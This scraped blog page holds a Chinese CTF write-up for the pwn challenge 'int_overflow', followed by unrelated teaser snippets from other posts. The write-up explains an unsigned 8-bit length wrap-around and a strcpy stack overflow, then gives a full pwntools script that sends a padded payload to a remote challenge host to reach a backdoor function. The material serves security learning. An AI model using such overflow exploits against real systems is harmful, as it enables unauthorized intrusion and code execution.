news 2026/6/21 12:24:50

PWN手的成长之路-19-int_overflow

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PWN手的成长之路-19-int_overflow

程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

以下参考 1000x_ 师傅的文章:

无符号 int8 的最大值是 2^8-1=255,因为多出来的部分在 C/C++ 代码中会回绕,即 256 回绕成 0 ,257 回绕成 1 ,以此类推,我们需要字符长度到达 3 的话,我们传入的大小最小应该为 259。

攻击思路:首先在choice时,选择 1,再输入用户名(随便输入),之后再溢出密码区域,dest 和 s。

查看 dest 的栈,它需要溢出 0x14+4,之后让其跳转到 backdoor 函数,也就是 what_is_this 函数的内存地址,但是,想要让复制操作执行,首先需要通过前面的 if ( v3 <= 3u || v3 > 8u ) 语句,即:让 v3 = strlen(s) 的长度保持在 0x04~0x08,也就是 buf 的长度要保持在 0x104~0x108。

因此,除去前面为 buf 构造 payload 所用的 b'a' * (0x14 - 0x00 + 0x04) + p32(elf.symbols["what_is_this"]) 以外,还要在后面继续填充垃圾字符,让 buf 的长度在 0x104~0x108 之间。

exp:

from pwn import *

from LibcSearcher import *

#start

r = remote('61.147.171.103',59035)

elf = ELF('./pwn')

context.log_level = 'debug'

#params

backdoor_addr = elf.symbols['what_is_this']

#attack

payload = b'a'*(0x14+4) + p32(backdoor_addr)

payload = payload.ljust(0x104,b'a') #实现在 `payload` 右边添加 `b'a'` 一直将 `payload` 的长度填充至 `0x104`

r.sendlineafter(b'choice',b'1')

r.sendlineafter(b'username',b'111')

r.sendlineafter(b'passwd',payload)

r.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/21 12:11:14

Windows系统文件dmenrollengine.dll损坏或丢失 下载修复

在使用电脑系统时经常会出现丢失找不到某些文件的情况&#xff0c;由于很多常用软件都是采用 Microsoft Visual Studio 编写的&#xff0c;所以这类软件的运行需要依赖微软Visual C运行库&#xff0c;比如像 QQ、迅雷、Adobe 软件等等&#xff0c;如果没有安装VC运行库或者安装…

作者头像 李华
网站建设 2026/6/20 3:45:20

电力系统故障中的运行潮流分析与优化控制研究

电力系统故障运行潮流分析 搞电力系统的人都知道&#xff0c;系统故障时的潮流分析比正常工况刺激多了。就像你正吃着火锅唱着歌&#xff0c;突然变压器炸了&#xff0c;这时候要快速判断全网哪个节点电压会崩、哪条线路会过载&#xff0c;这时候故障潮流计算就是你的救命稻草…

作者头像 李华
网站建设 2026/6/16 20:44:34

Open-AutoGLM + JMeter组合拳,实现自动化压测的3倍效能提升

第一章&#xff1a;Open-AutoGLM 与 JMeter 组合压测的背景与意义 在当前人工智能与自动化测试深度融合的技术趋势下&#xff0c;大语言模型&#xff08;LLM&#xff09;驱动的测试工具逐渐成为提升软件质量保障效率的关键手段。Open-AutoGLM 作为一款基于开源大语言模型的自动…

作者头像 李华
网站建设 2026/6/20 22:11:06

企业级自动化测试工具选型难题(Open-AutoGLM与UFT Mobile终极PK)

第一章&#xff1a;企业级自动化测试工具选型的核心挑战在企业级应用系统日益复杂的背景下&#xff0c;自动化测试已成为保障软件质量的关键环节。然而&#xff0c;面对多样化的技术栈、多变的业务场景以及庞大的测试规模&#xff0c;企业在选择合适的自动化测试工具时面临诸多…

作者头像 李华
网站建设 2026/6/17 7:36:09

第 481 场周赛Q2——3784. 使所有字符相等的最小删除代价

题目链接&#xff1a;3784. 使所有字符相等的最小删除代价&#xff08;中等&#xff09; 算法原理&#xff1a; 解法&#xff1a;贪心 3ms击败100.00% 时间复杂度O(N) 正难则反&#xff0c;问题转化&#xff1a;保留总代价最大的字母&#xff0c;其余全删 方法&#xff1a;用数…

作者头像 李华
网站建设 2026/6/20 22:17:18

你的问卷,是在收集“正确答案”还是“真实数据”?

凌晨两点&#xff0c;社会学博士生小陈盯着屏幕上不到10%的问卷回收率&#xff0c;陷入了深深的自我怀疑。她精心设计了50道题&#xff0c;从人口统计问到深度态度&#xff0c;自以为逻辑严密。然而&#xff0c;冰冷的现实是&#xff1a;受访者要么在第一页就放弃&#xff0c;要…

作者头像 李华